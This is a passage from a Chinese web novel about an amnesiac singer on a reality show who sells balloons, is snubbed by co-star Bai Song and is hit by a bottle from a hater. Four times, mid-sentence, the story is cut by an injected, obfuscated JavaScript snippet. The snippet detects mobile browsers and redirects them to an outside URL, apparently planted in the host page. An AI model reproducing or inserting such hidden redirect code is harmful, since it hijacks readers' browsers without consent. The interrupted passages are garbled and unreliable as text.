否则对方怎么这么关心自己，事无巨细地为自己安排。 一团乱麻的生活总算找到了个支撑点，楚余苔也不扭捏了，放松下来将额头轻抵在人背上，躲着不断袭来的风。 柏淞……柏淞实在是想逃！速度快了不行，速度慢了气氛又奇奇怪怪的，他心中暗暗庆幸电子果蝇这时候光顾着追摩托了，估计什么也拍不到，不然两个男人这样子抱着未免也太奇怪了。幸好小区也离得也不远，几分钟后便到了租房楼下。 楚余苔下了车，想起早上就是在这栋楼下遇上的，心里猜他俩应该是住的一栋楼，于是等着柏淞停好了车两个人一起上了楼。 楚余苔腰还有些疼，上楼梯又是慢慢吞吞地挪，柏淞也不催促，跟在他身后慢慢走。 一路上楚余苔都在观察柏淞，推测他住哪层，等到了五楼，楚余苔看柏淞拿钥匙开门，这才反应过来原来他俩不光住的同一栋，还是隔壁间。 他看柏淞要进屋了，忙不迭拉了下柏淞的衣摆。“柏哥”他喊道：“我带了瓶奶给你，你留着明天当早餐吧。” 他走的时候特意买的，就是怕柏淞不收他钱。 “哥你今天帮我这么多，你要是不收我真不好意思。”楚余苔又拽了拽他衣角，颇为认真地看着柏淞，一副“你不收我就不放的模样”。 柏淞真怀疑楚余苔前一晚上换了个人上节目，不然怎么昨天和今天差别这么大，这殷勤劲儿整个娱乐圈谁看过啊。这般情况下，柏淞也只能收下了这瓶奶。 二人各自回了屋，楚余苔只脱了外套就迫不及待地整个人都趴倒在了床上，柔软的床垫与被子将他整个人温柔地环抱起来，腰背处的疼痛也霎时散了大半，这松快感叫他忍不住哼了两声，趴了十多分钟才又起来，准备吃晚饭。 晚饭吃的是带回来的半价便当，味道中规中矩，胜在便宜。他翻了下自己剩下来的钱，只剩下了180，赚钱的紧迫感涌来，他一边吃着饭一边规划着钱，脑子里也想着做点什么赚钱。 他现在上班时间长，一天要做12个小时，显然是不能再找兼职的，现在最合适的还是自己想办法摆摊卖点东西。 摆摊他是有经验的，之前上学他就是靠摆摊赚的学费，后来还攒了点，还了一部分家里的债。 他脑子里转了两圈。目前他能想到的比较适合的是做气球玩偶，这个投入低，几块钱就能买一大包的气球。也好卖，去公园里扭两个气球蝴蝶、气球小狗出来就能吸引一大群小朋友，几块钱一个的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392185|168586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东西家长也愿意花钱。 “不知道能不能去游乐场卖，要是能进去卖应该能赚得多一点。”楚余苔心里盘算好了，准备明天上班前去买气球，晚上找地方卖了看看成效。 总算有了能进账的方法，他愉快地多吃了两口饭，这下就不用担心自己被饿死了。 魏小苔这边前途一片光明，隔了一道墙壁的柏淞倒是不太愉快的。 到了出租屋经纪人就卡着时间给柏淞打了电话，他连牛奶都没来得及放下，顺手带着牛奶躲在卫生间接的电话，对面一开口就道：“何迟那边想和你在节目里炒cp。” 柏淞问：“何迟，谁？” 经纪人章有信道：“就星火娱乐最近一直在捧的那个。星火那边想出钱让你和他炒cp，说是可以把张导新的电影男主角送给你。” 柏淞皱着眉，他打断道：“章哥，你知道我不缺钱，就算不拍电影我也不缺，不需要搞这种歪门邪道来涨粉丝，我也不想要这些cp粉。” 章有信自然也知道自己家艺人什么样，他不缺钱不缺地位，拍电影说是职业，实际上更多的算是他的副业，章有信有时候也管不了柏淞。 “哎其实我也不想告诉你，这话和你说了你也心烦，主要是人家星火说了，何迟是他们集团的小少爷，以前也没看出来他后台这么大呢，这拒绝了是不是……” 他知道柏淞背景也很大，但却也不知道具体什么背景，够不够和星火公司硬碰硬。 “不炒，不卖。还有事吗？” 章有信懂了，这是自己家艺人背景硬到可以和星火公司硬碰硬一个来回还绰绰有余。 他放下心，“也没什么其他的了，你节目上既然不炒cp，那你注意着点和楚余苔的距离，我看你今天镜头好多都和他在一起啊？星火那边应该也是让他炒cp的，也不知道想怎么炒，总之他们公司乱得很，你离远点，别被楚余苔蹭到了。” 柏淞顿了顿，他想到今天见到楚余苔时那声脆生生的“哥”，下午更是喊了一下午的柏哥，晚上自己还开着摩托让他抱着腰回来的……他这才恍然楚余苔今天这番作态是为了什么。 章有信没听到应答，追问：“柏淞？柏淞！你可别和楚余苔扯到一起啊，他这人什么风评你也知道，别搞得自己一身腥。” 柏淞嗯了声，挂了电话。出租房的浴室狭小逼仄，柏淞扯了下略紧的领口，深吐了口气。 他在娱乐圈混了这么多年，不算一路顺风，却也从未栽过跟头，来《重启》才第一天，就狠狠栽了个大的，居然真被楚余苔哄骗到了。 他心火大，脸烫得厉害，顺手开了水龙头冲了把脸，这才感觉自己情绪稳定了些。手顺着水池边摸索着找纸巾，触及了冰凉的玻璃瓶。 柏淞随手抹了把脸，水池边上还放着楚余苔送的那瓶牛奶，他冷漠地望着这瓶奶，眼睛微眯起。 “咚”地一声，玻璃瓶被掷入垃圾桶内，叮啷两声没了动静。 5. 第 5 章 早上七点，楚余苔按掉闹钟，整个人仿佛被放在厨师机里被当做面团捶打揉捏了一整夜般，腰酸背痛。 他在床上蛄蛹了会儿，总觉得少了点什么，艰难爬起来洗漱的时候才想起来，“昨天一直跟着的电子果蝇去哪了？” 不会是跟摩托车的时候跟丢了吧。 昨天电子果蝇像跟屁虫一样跟着他上了一天的班，没客人也没事做的时候他就看着电子果蝇在他身边忙碌，看了一天竟也觉得这小东西还有些可爱。 这时候他也理解了为什么科技发展了要造这种电子苍蝇出来——虽然知道它叫电子果蝇，但楚余苔还是觉得这玩意就是个电子大苍蝇。 楚余苔将全身家当揣身上，带着一百八的巨款出了门。他特意在门口停了一会儿，留意了一下柏哥有没有上班。 或许是雏鸟情结，也或者是柏哥人太好，楚余苔对他自然而然地更关切些。 他有些心虚自己记不得对方的名字，只跟着人家一起喊的柏哥，实际上连这个“柏”究竟是哪个字，是他的名还是姓都不知道。 “嗡嗡——” 思索间，刚开机的电子果蝇晃晃悠悠地飞了起来，楚余苔看他这仿佛睡蒙了的模样就觉得可爱，他凑近些轻声轻语道：“你也睡醒啦？”他想起这东西不给碰，弯了弯眼睛，“是要跟我一起上班吗？那走吧。” 弹幕里，早上就守着看直播的黑粉一顿，噼里啪啦敲击键盘的手停滞，屏幕也短暂地宁静了片刻。 [妈妈，我好像恋爱了……！！] [啊啊啊啊啊啊他刚刚凑过来那一刻谁懂啊！！怎么有人的脸凑这么近还这么好看啊！] [大早上开屏被美颜暴击（捂心口）] [一想到这么漂亮的脸长在楚余苔身上，我就浑身难受。] [苔渍是不是接受了什么高人指点，感觉上《重启》之后整个人都不一样了啊。] [我美丽的老婆，我将为你找到最实用的提高情商教程…] …… 气球比楚余苔想象中的要好买很多，他带着气球走到新庆便利店的时候才七点四十。 今天早上值班的不是店长，是个二十来岁的小姑娘。 早上买早饭的人多，狭小的店内人挤着人。过道太窄，排队的人一多、人群站得分散，过道被占得满满当当。 楚余苔侧着身往里面挤，他没注意脚下，队伍里有人突然横伸出一只脚，楚余苔一时不察被绊了下，幸好他这时已经靠近了柜台，手有了借力，这才没有摔倒。 人群内传出一声毫无歉意的声音，“哎呀不好意思。”随后又传来窸窸窣窣的偷笑声。 楚余苔一心想着上班，他道了句“没关系”，挤入柜台。 他礼貌性地对着第一次见面的同事点了点头，说了句早上好，对方嘴角微向下撇，敷衍地点了下头。 楚余苔只当对方熬夜工作熬累了，换上了围裙。收款机只有一台，他就在柜台边上打包结完款的东西，两个人一起配合速度总算快了很多。 等到了八点，楚余苔看了眼时钟，提醒道：“八点了，你可以……” 小姑娘抿了下嘴：“等这波人过去吧，你一个人也忙不过来。” 两个人一直忙到了八点半才停了下来，便利店里还剩下零星几个客人，楚余苔道：“谢谢你呀，要是你不陪我加班，我真要忙不过来了。” “刚才那个人故意绊的你，你没看出来吗？” “嗯？是吗？”楚余苔手上还在给人结账，有些懵懵地歪头看着同事。 “你差点摔了也不生气，他们刚刚还笑你！”小姑娘说着说着把自己说生气了，脸红彤彤的，“你怎么都没看出来他故意的啊，还这个样子看着我……怎么和网上说的完全不一样。” 她最后一句说得小声，楚余苔没听清，只听清了前面半句，他道：“怎么会呢，我和他不认识，无冤无仇的怎么会故意绊我。” 小姑娘哼哼两声，她道“你喊我小林吧，我上周一三五七的夜班，以后就是同事了。” “我叫楚余苔。” “哎呀我当然知道你叫楚余苔，你这么有名…咳、不是，你上次入职培训我看见了嘛。”小林拍拍胸口，好险好险，差点说漏嘴了。 节目组为了拍摄，找店里员工都签了合同，除了正常上班拿的那份工资，还可以拿到节目组的一笔钱，但是镜头里露馅一次要罚款五百，幸好自己聪明赶紧圆回来了。 小林已经加班了半小时，她打完卡就急着回去睡觉了，便利店也再一次安静下来，楚余苔重复着昨天的工作，签收新到的货物，重新整理摆放货架，这一理就理到了中午。 “哎呀许姐姐，你说你会做饭的呀，我们本来还指望着你手指头里漏漏，解决我们的吃饭问题呢。” 活泼清朗的声音传来，魏小苔记得这声音，是上次跟在柏哥身边的小金毛的声音。他抬头看去，正好看见小金毛和另外两个女生一同走了进来。 被小金毛喊许姐姐的是个女生，一米七五往上，体型修长富有力量感，面庞略中性，眉眼锋利不可挡，又带着些孤高之气。 小金毛一打趣，女生这点孤高之气一下子被打破，她冷峻的脸上浮现出一丝尴尬，显出略显跳脱的本性。 “你们也知道我之前都在国外待着的，西餐我是真会做，没想到他们只允许我做中餐，况且……” 她往后退了两步，把自己从左右两个弟弟妹妹的拉扯中解救了出来，“况且我上午练习做的菜，给你们留了，你们不是都不吃吗。” “云岚姐，你自己都不吃。”边上女生鼓起嘴戳了戳许云岚的背。 许云岚摸了摸自己的鼻子，“上午失误了，晚上你再来。” 她又干巴巴地转移话题，对着在仔细挑选盒饭的小金毛喊：“纪渝，你记得给你哥带一份啊，别忘了。” 纪渝应声，他挑盒饭挑得格外认真，柜内一共也就七八种饭，他仿佛要看出花来，在前面来回转了好几圈，几盒饭拿在手里反复对比打量，直选得另外俩人都没了耐心。 “纪渝，你怎么挑了这么久，这两盒不都咖喱土豆饭吗，随便拿一盒不就行了吗。” 纪渝摇摇头，“你不懂，我得想办法省点钱。” 穆浅浅看了眼他手上另一盒咖喱牛肉饭，“那你还拿这盒牛肉的，咖喱土豆可比牛肉便宜六块钱。” “是呀，这就是我的省钱小妙招，而且还是仅我一人可用，别人没法复刻。”纪渝搓搓手，眼睛笑得眯起像只小狐狸般。 三人拿着东西来结账，徐云岚和穆浅浅都向楚余苔打了个招呼，小金毛更是热情地喊着小苔哥哥。 楚余苔已经见怪不怪了，失忆后发现所有人都认识自己，以后就算整条街的人都吻上来他也能处变不惊了。 他也好奇纪渝说的只此一家的省钱方法是什么，此时和其他两人一样目不转睛的盯着纪渝。 纪渝将两盒饭都放在柜台上，拿着其中一盒小心翼翼地一点点扒价格贴，一时间店内鸦雀无声，只剩下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392186|168586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纪渝撕贴纸细微的“咝咝”声。 “成了！”成功撕下两张贴纸，纪渝手一拍，啪地一声两张贴纸顺利互换位置。 “瞧吧，这价格不就打下来了，这份咖喱牛肉给我哥……”纪渝将贵的那份“咖喱牛肉”放桌上，自己拆了贴着咖喱土豆标签的牛肉饭，“我家祖训，该省省该花花。” 纪渝嘎嘎乐，弹幕也跟着他嘎嘎乐。 [表弟省，表哥花。] [咖喱牛肉没有牛肉，就好像老婆饼里没有老婆。] [宝宝，你可是一个爱豆啊！！！（使劲摇晃）] 这明目张胆的吃回扣，穆浅浅叹道：“你这确实是只有你一个人能用的省钱方法，也就你表哥能这样子被你占便宜了。” 许云岚趴在穆浅浅肩头直乐，她笑得眼泪都要掉下来了，“那你得快点吃了，等你哥来了被他发现了，有你好果子吃。” 纪渝端着两盒饭来到便利店角落桌前，迫不及待地打开了咖喱牛肉的那盒，他当然也怕被柏淞发现，先把牛肉都挑了出来，一边吃一边盯着门口，在看见柏淞身影的那一刻把剩下来的最后两块牛肉全塞在了嘴里，囫囵吞了下去。 “柏老师，这儿呢，纪渝给你买好饭了。”穆浅浅喊到。 楚余苔见到柏淞出现在门口，露出个微笑，却见对方面无表情地扭过头，无视了楚余苔的示好，径直走到了餐台前。 楚余苔笑容停滞在脸上，他咬了下嘴唇，垂下了头。 “柏老师，我和云岚姐不能出来太久，就先回去了，你们慢慢吃。”穆浅浅和徐云岚买的是三明治，两个人向楚余苔也挥挥手，出了店。出门前就听到纪渝着急忙慌地喊到“哥，你这盒18.2，你把钱给我。” 柏淞吃着饭，他把盖子拉近些看了眼字，盒子上明晃晃写着的咖喱牛肉，他都吃一半了也没见着牛肉，他被纪渝吵得心烦意乱，啧了声，纪渝一下子被按住了开关键，鹌鹑般停了下来。 “你哥我没钱，昨天换了个手机，你作为弟弟也不能看着你哥我饿死吧？这顿你先请了，下次哥还给你。”柏淞面不红心不跳说着。 “啊？”纪渝瞪大了眼睛，没想到自己不光没省下来钱，还要白请人吃饭。他才不信柏淞能记着还他钱，这老狗比蔫坏。 “你、那你给我12，我给你打折，柏哥我也没剩多少了，你也不忍心看着你亲爱的弟弟饿肚子吧！”纪渝忙道。 柏淞放下筷子拿纸巾擦了嘴，“我亲爱的弟弟还能拿着咖喱土豆冒充咖喱牛肉呢，下次记得把你那份的盖子给丢了，别大剌剌地摆在我脸上了。”他叹了口气，“怎么就遗传不到你爸妈那聪明劲。” 纪渝眼泪汪汪，心痛自己无辜逝去的十八块二，他见柏淞起来拿了瓶矿泉水，气鼓鼓地也拿了瓶果汁放在了柜台上，“一起付！”他喊道。 柏淞默认，楚余苔就一起结了账，他还想着方才柏淞的冷漠，不知道是不是怎么惹柏哥生气了，一时有些心不在焉，递零钱时没拿稳，手上硬币滚落在地发出丁零当啷声。 两个人下意识地一同蹲下去捡，楚余苔冰凉苍白的指尖触及柏淞的手背，柏淞猛得站起，他脸冷得吓人，又极为故意地后退了两步。 好会算计的人，为了炒cp真是什么都能想什么都会做，掉硬币是故意的，昨天腰疼会不会也是故意的？ 柏淞心里说不清的一阵气恼，如果不是纪渝约在这里，他是万般不想踏足这便利店，他的排斥极为明显，明晃晃的四个字写在面上——莫挨老子。 6. 第 6 章 柏淞动作直白，那股“嫌弃”的意味明晃晃的传达了出来，一时间便利店内空气凝滞一般，楚余苔忍不住捏了捏刚才不小心触碰到柏淞的右手 ，他轻按着指尖，犹豫着开口“柏、柏哥。” 柏淞将手背在另一只手的袖口上蹭了蹭，他皱眉：“你还是直接喊我名字吧。” 楚余苔一顿，他哪里知道柏哥叫什么名字？ 楚余苔也不知道柏淞又是为什么生气了，他昨天谨言慎行，在两个人分别时柏淞态度还友善得很，怎么一晚上过去就这样了？ 他一时失神，店内寂静无声，纪渝只觉浑身汗毛都要竖得从他身上钻出来，他最先受不了这诡异的氛围，先开口：“柏哥，你昨天不是还说货没送完被投诉了吗，你赶紧去工作吧。” 他伸手按住柏淞的肩膀，手动给柏淞转了个方向，再一推他的背，将人推了出去。 “柏哥，你晚上记得还要来游乐场接我啊！你不来我就不回去！”纪渝对着柏淞渐行渐远的背影喊道。 楚余苔默不作声地看着纪渝一通操作，在听到“游乐场”时，人一下子又来了精神，他知道这时候时机不太对，但还是忍不住喊道：“纪渝。” 纪渝回头：“怎么了小苔哥哥？” 楚余苔抿了抿嘴，有些不好意思道：“你在游乐场工作，那你知不知道那边好不好摆摊？” 纪渝挠挠头，“小苔哥哥你要开始赚钱了吗？” 节目有三个月，没有剧本，但是大致的主线是有的，摆摊也是观众最爱看的团体活动，大部分都会在节目开始两三天之后，等大家都熟悉了工作再进行分组摆摊赚钱。 纪渝没想到楚余苔这么着急，却也没有多想，他道：“可以是可以，不过要申请摊位才能进去，小苔哥哥你要是想摆摊，我等会儿上班了就去和主管提，你想去晚上就能去摆摊了。” 楚余苔没想到事情能这么顺利，原先因为柏淞而紧张的神色也略微明快起来，他道：“谢谢你呀纪渝。” 纪渝摆了摆手，“哎呀小苔哥哥，我之前就说了你可以喊我小鱼的嘛，我都这样子喊你了，你可是一次都没有喊过我小鱼。”他有些可怜巴巴的看着楚余苔。 楚余苔从善如流地改口：“小鱼，”他顿了顿，“柏哥他……” 纪渝说实话也有些糊涂，昨天还好好的呢，怎么今天柏淞跟吃了炸药一样火气这么大。 他看楚余苔神色颇为紧张，便假装轻松道：“没事没事，他脾气可大了，而且还刀子嘴豆腐心。”他嘻嘻一笑，”你看他昨天说不来接我，晚上不还是特地来带我回家。” 说到这里，纪渝眼睛一亮，“正好他今天晚上还过来接我，到时候你跟我们一起走，我路上帮你试探试探。” 因为纪渝这句话，楚余苔心里也算有个底，缓了下来，煎熬了几个小时总算下了班。 今天照旧腰背处疼得很，幸好膏药和止痛药是有效的，没有昨天那么严重，他不怕痛却怕没钱，一想到要去赚钱，人都开朗了许多。 游乐场里便利店很近，步行过去只要几分钟，他按照和纪渝约好的，站在旋转木马边上等着。 纪渝这时候还在上班时间，他急匆匆地跑来，一眼就在人群中看见了楚余苔，他气喘吁吁地打了声招呼，头上缠着的绑带随着他的动作扑棱棱地往下掉。 楚余苔只看见一只乱七八糟的木乃伊飞奔过来，布条上做着装饰，不吓人，还很萌。他听见了纪渝闷在里头打招呼的声音，脸上缠在一起的绷带扭动了两下，估计是纪渝在笑。 楚余苔忍俊不禁，戳了戳他头顶的绷带。 “小苔哥哥，你跟我来，你摊位在那边。”他拽着楚余苔的手腕往前走，带到了一块较偏僻的角落，灯光偏暗，也离游乐设施有些远，人稀稀落落的。 纪渝有些不好意思，他想挠挠脑袋，手伸出来看着自己缠着绷带的手，脸上的绷带又是一阵抖动，他道：“小苔哥哥，今天报得太晚了，只剩下偏僻的地了，下次有好位置我帮你换。” 楚余苔看着他脸上的绷带要掉不掉的，想给他捋一捋，纪渝又风风火火地跑走了，“小苔哥哥我有继续去吓人了！” 他应该是极其满意这份工作的，跑得都快飞起来了，散落的绷带就追着他身后飘，人群中许多人掏出手机录起了视频，间或有人惊叫出声，隐约间楚余苔仿佛听见人群中有人喊着纪渝的名字。 纪渝跑得快，楚余苔也没多想，兴许是听错了。 他将自己的气球放了下来，一共也没多少工具，只有两包气球和一个打气筒，预先做好的气球蝴蝶和气球小狗被他仔仔细细的摆放在桌上，他又另外拿出来了还没吹起的气球，现场做了起来。 游乐园里小孩多，不论几岁的小孩，看见气球都走不动道，更何况纪渝的气球玩偶做得圆鼓鼓、胖嘟嘟的。 最开始还只是一两个小孩停下来看他做气球玩偶，之后人聚得越来越多，一发不可收拾起来，一群小孩扯着自己的大人留在这里就光看楚余苔表演吹气球、扎气球了，目不转睛的，生怕自己错过一点。 这气球楚余苔卖的也不贵，五块钱一个，有小孩需要的，家长大部分也都买了，一时间生意火爆得很，才一个小时左右就赚了快一百五，他甚至有些招待不过来，有些没拿到的小孩扯着他裤腿喊：“哥哥、哥哥。” 楚余苔被扯得左摇右晃的，却还是温温柔柔的弯下腰，低声问：“宝宝想要什么样的气球呀？” 纪渝在游乐园做npc，他刷了会儿存在感，又顺路绕回了楚余苔这里，看着原先还空落落的地方现在叽叽喳喳的围了一圈的小朋友，惊得嘴巴都长大了。他夸张地托了托下巴，做作地字正腔圆道：“哇小苔哥哥也太厉害了，他做的气球也太可爱了吧——” 他瞅了眼电子果蝇的位置，很好，正好能全都拍下来，让你们看看我小苔哥哥到底有多棒！ 他见楚余苔忙不过来，又怕自己这一身站小朋友堆里太过吓人，把脑袋上的绷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392187|168586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带稍微摘下来了一点，估摸着在脑门上打了个蝴蝶结，挤进人群里帮着他小苔哥哥哄小孩了。 楚余苔也松了口气，这么多小朋友吵吵嚷嚷以及家长围着，他是真应付不过来。 他专心致志做了几个气球，没一会儿就只听见纪渝喊了声：“小苔哥哥我要走了！”小木乃伊又跑了出去。 纪渝来来回回跑了好几次，绷带都快被小孩扯没了，总算围着的小朋友少了下去，时间太晚了，大多小孩都回去了，现在游乐场里还在逛的多半是情侣，两两结伴，亲亲蜜蜜地牵着手。 围着楚余苔身边的小孩变少了，围在纪渝边上的女生却多了很多，逐渐把纪渝包围了起来，纪渝笑得可可爱爱的，他问道：“姐姐们要不要买个气球呀，都是小苔哥哥亲手做的，都很可爱的。” 一时间人群里传来阵阵尖叫，有女生大喊“老公！妈妈爱你！你是世界上最萌的宝宝！！！”人群内哄笑声传开。 有几个女生想问纪渝要签名，纪渝摇摇头，笑着说自己是npc，得遵守上班的规则。 楚余苔被挤在人群外，他看着人群中闪闪发光的纪渝，忍不住也笑了起来，正看着纪渝在那一个劲的推销气球呢，一本崭新的本子推到了楚余苔面前：“你好，能帮我签个名吗？”怯生生的声音传来。 楚余苔看过去，面前站着个十七八的小姑娘，他有些莫名的看了眼本子，疑惑道：“我？” 他指了指纪渝，“我是在这里摆摊卖气球的，你去找他签吧，他才是游乐园的npc。” 小姑娘应该是脸皮薄，被拒绝了脸立马红了起来，她又抬眼看了下楚余苔，“嗯？”了一声，小声嘀咕：“没认错啊。” 她鼓起勇气又追问道：“是节目组不允许签名吗？” 楚余苔怔愣：“节目组？” 他也没有注意到这附近有录节目的，道：“抱歉我没理解你说的话。” 不远处的人群中，突然有人喊了句：“装货！你演什么呢！” 楚余苔还未反应过来怎么回事，眼角余光触见有物体朝着这个方向袭来，他脑子还没转过弯，身体已经条件反射地侧身把前面的女生护在了怀里，一个硬物哐当砸中他的背……他这饱经风霜的腰和背。 熙熙攘攘的人群在这闹剧后也逐渐静了下来，有些是瞧见了发生了什么的，有些却没瞧见，只知道气氛不太对了：众人齐齐地看向楚余苔，楚余苔松开自己的手，问道：“没受伤吧，吓到了吗？” 小姑娘摇摇头，她慌张地问：“砸到你了是吗，你怎么怎么莽，没看见是什么东西就拿身体挡！” 楚余苔安抚道自己没事，他四下看了看，地上滚落着一瓶矿泉水。他将手缩进袖子内，隔着衣服用手指捏起了这瓶水，放置在了桌上，眼睛又将神色各异的人群扫了一遍，直到看见一双闪躲心虚的眼睛，这才大步走了过去。 他目的明确，拽住了仓惶要逃离的女生的手腕。 “抓住你了。” 7. 第 7 章 “那边怎么了？” “好像是楚余苔……楚余苔怎么了？” “啊，他啊，又什么幺蛾子？他之前从来没上过综艺，没想到一上综艺戏就这么多的吗。” 人群里有人低声谈论，节目才开始第二天，楚余苔名字的出现频率已经远远高过其他明星了，大家议论纷纷，却也控制着音量，尽量不影响综艺的进行。 《人生重启计划》比较特殊，为了让艺人能更沉浸式的去展现更多的职业，整个节目都是实景拍摄的，不会另外搭棚区，有时候也会有粉丝来要签名，但是不多，一切全凭自觉。 如果干扰到了综艺也会被隐藏在附近的安保人员请走，所以这边出了事，边上知道是拍摄现场的粉丝也不着急，都兴致勃勃地吃着瓜。 柏淞在人群中站着，他出来是为了接纪渝的，严格意义上来说今天的他已经“下班”了，所以出门的时候手动关闭了电子果蝇，又特地戴了口罩、眼镜和围巾，整个人气质从凌厉一下转为温和。 他将围巾拉得更高了些，将脸遮挡得更严实了。 他就站在楚余苔身旁，离得近，事情发生后很多人都掏出手机在录视频，叫他忍不住检查了一下自己的伪装。他方才没注意事情是怎么发生的，只听到了人群的尖叫和楚余苔的闷哼声，直到楚余苔伸手拽住了丢水瓶女生的手腕时，柏淞才理清楚了事情的来龙去脉。 他倒是很讶异，楚余苔这样子的人，居然也会用身体给别人挡住攻击。又惊讶他思维快速，大部分人还没有转过弯来，他已经确定了是谁动的手。 “你，你干什么！为什么抓着我！”被拽住手腕的是个戴着鸭舌帽的女生，穿着浅蓝色的羽绒服和半身裙。身上背着个游乐场的纪念背包，看模样应该是还在上大学。 她被楚余苔抓住手腕，吓得惊叫出声，条件反射地挣扎起来，她几乎是使着浑身的力气想逃跑了，却还是挣不脱，这才羞恼道：“你这是做什么！凭什么就说是我丢的！” “小苔哥哥！”纪渝发现了动静也赶紧走了过来，他目光停留在楚余苔苍白却有力的手上，又担忧地看了楚余苔一眼。 楚余苔浅笑着摇了摇头，示意自己没事。 “你刚才是从舞台区过来的吧。”楚余苔问道。 “我对这边了解不多，也是刚才有小朋友和我说我才知道，舞台区九点半固定节目里会撒彩带和闪粉，你或许没有注意到……”楚余苔将自己方才裹着拎起瓶子的袖子举起，“你砸人的瓶子上沾上来了很多闪粉，还有你的身上，也粘上了许多。” “你这算什么！这边这么多人里面，也有好几个身上有彩带，你凭什么诬陷我？”鸭舌帽女生声音尖锐，她反驳道。 楚余苔声音有些沉，“对，这里符合条件的不止你一个，但是你很显然心理素质很差，做完坏事之后我才看了你一眼，你就忍不住要逃跑。” 面前的鸭舌帽女生脸色一变，她声音小了许多，却还是嘴硬道：“我刚才手滑不小心甩出去了，大不了给你道歉，你难道非要斤斤计较吗？” “怎么，还需要我去问游乐场要监控吗？”他暼了眼鸭舌帽女生不断挣扎的手，“如果你不介意我们继续浪费时间，我也可以奉陪到底。” 鸭舌帽女生脸色青白了一瞬，复又漫上层红，她恼羞成怒道：“是，我就是看你不顺眼怎么了！白莲花，星火捧你捧得光明正大令人作呕！你就是阴沟路边的青苔，是谁都能踩一脚，好好地待在阴沟里发烂发臭，别出来恶心人，苔渍被喊两句太子还真拿自己当个人物了！” 她骂得正起劲，几乎手脚并用地往楚余苔身上踢打，又被安保人员及时按住了动作。 楚余苔顺势松了手，安保人员左右各一边拉住了鸭舌帽女生的肩膀，力气没收住，女生吃痛叫了声。她这时候已经上头了，嘴里不干不净还要继续骂，其中一个安保捂住了她的嘴，只剩下模糊不清的呜咽声。 “你很讨厌我？为什么？”他问出口，看着被捂着嘴的女生反应过来，他摇了摇头，对保安道：“麻烦你们这边报警处理吧，辛苦了。” 这话一出，女生不可置信地停顿一瞬，又疯狂地挣扎起来，伸手捂着她嘴的保安大叫“啊！”了句，松开了手，指节上明晃晃的一个牙齿印。 “你、你怎么报警，这和我们当时说……”她还没说完，另一个安保人员已经眼疾手快地又捂了上去，女生说不出话，急得跳脚，她猛踹了两脚安保人员，对方也没放手，死死捂着不让她继续讲下去。 鸭舌帽女生横眼过去，两个人一对视，视线交汇间保安不动声色地轻眨了下眼，女生又呐呐地静了下来。 离得近的楚余苔没看到安保人员低头后的动作，稍远一些的柏淞倒看得清楚，他眼睛一眯，直觉这俩人间有猫腻，眼见两个安保人员带着女生走出了人群，思索片刻也跟了上去。 楚余苔见人被带走了，低头不语，来要签名的小粉丝和纪渝都上前来，纪渝安慰道：“没事的小苔哥哥，你不用管这些人，他们都跟风黑，真的了解你的人都会喜欢你的。” 小粉丝也猛猛点头，她没想到自己要个签名会出这么多事，又想到方才楚余苔给她挡的那一下，感动得眼泪汪汪的。 楚余苔从沉思中回过神来，他“嗯？”了声。 “我刚刚在想事情没听见。”顿了顿，他皱眉，眼神里满是疑惑与不解，问道：“她刚刚说的……太子、苔渍？是什么东西？” 小粉丝眨巴眨巴眼，纪渝也眨巴眨巴眼，两个人不约而同的相视尴尬一笑，“没什么呀，我们也没太听清。” 谁能想到，楚歌王出道十年，至今不知道自己黑称是什么。 …… 柏淞这边跟着这三人到了游乐园最西边，这边没有大门，时间较晚游客都走得差不多了，剩下来都多数也聚集在最热闹的几个区域，这边零星只剩下几个躲着谈恋爱的。 其中一个员工停下抽了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392188|168586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根烟，另一个去讨烟，抽烟的那个员工之间大手笔的一整包都给他了，道：“你找个地方抽去吧，剩下来的活我做就行。” 白得了盒烟的男人笑得谄媚，他识相地拿着烟就松手走了，原本还在叽叽歪歪自己上班还被人白咬了一口，现在倒是乐得很，点着烟走远了。 等那人连背影都瞧不见了，戴鸭舌帽的女生哼哼两声，安保人员松了手。 